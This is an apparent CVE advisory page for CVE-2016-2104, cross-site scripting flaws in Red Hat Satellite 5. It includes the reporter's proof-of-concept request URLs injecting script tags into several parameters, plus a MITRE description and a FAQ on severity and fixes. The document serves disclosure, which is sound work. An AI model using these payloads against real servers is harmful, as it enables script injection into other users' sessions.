CVE-2016-2104: XSS
Adam Willard reports the following XSS flaws in Satellite 5:
/rhn/admin/BunchDetail.do?label=cobbler-sync-bunch"<script>alert(1)</script>
/rhn/software/packages/NameOverview.do?packagename=sac">Test<script>alert(1)</script>&searchsubscribedchannels=yes&channelfilter=539
/rhn/software/packages/NameOverview.do?packagename=sac">Test<script>alert(1)</script>&searchsubscribedchannels=yes&channelfilter=539 /rhn/software/packages/NameOverview.do?packagename=sac">Test<script>alert(1)</script>&searchsubscribedchannels=yes">test<script>alert(2)</script>&channelfilter=539"><script>alert(3)</script>
<input type="hidden" name="packagename" value="sac">Test<script>alert(1)</script>" /> <input type="hidden" name="searchsubscribedchannels" value="yes">test<script>alert(2)</script>" /> <input type="hidden" name="channelfilter" value="539"><script>alert(3)</script>" />
Other sources
Multiple cross-site scripting (XSS) vulnerabilities in Red Hat Satellite 5 allow remote attackers to inject arbitrary web script or HTML via (1) the label parameter to admin/BunchDetail.do; (2) the packagename, (3) searchsubscribedchannels, or (4) channelfilter parameter to software/packages/NameOverview.do; or unspecified vectors related to (5) <input:hidden> or (6) <bean:message> tags.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2016-2104?
CVE-2016-2104 has been assigned a medium severity rating due to the potential for cross-site scripting (XSS) attacks.
How do I fix CVE-2016-2104?
To fix CVE-2016-2104, you should apply the security updates provided by Red Hat for Satellite 5.7 as detailed in the official advisory.
What type of vulnerability is CVE-2016-2104?
CVE-2016-2104 is a cross-site scripting (XSS) vulnerability affecting Red Hat Satellite 5.7.
Which software versions are affected by CVE-2016-2104?
CVE-2016-2104 affects Red Hat Satellite version 5.7.
Can CVE-2016-2104 be exploited remotely?
Yes, CVE-2016-2104 can potentially be exploited remotely by sending specially crafted requests to the affected Satellite server.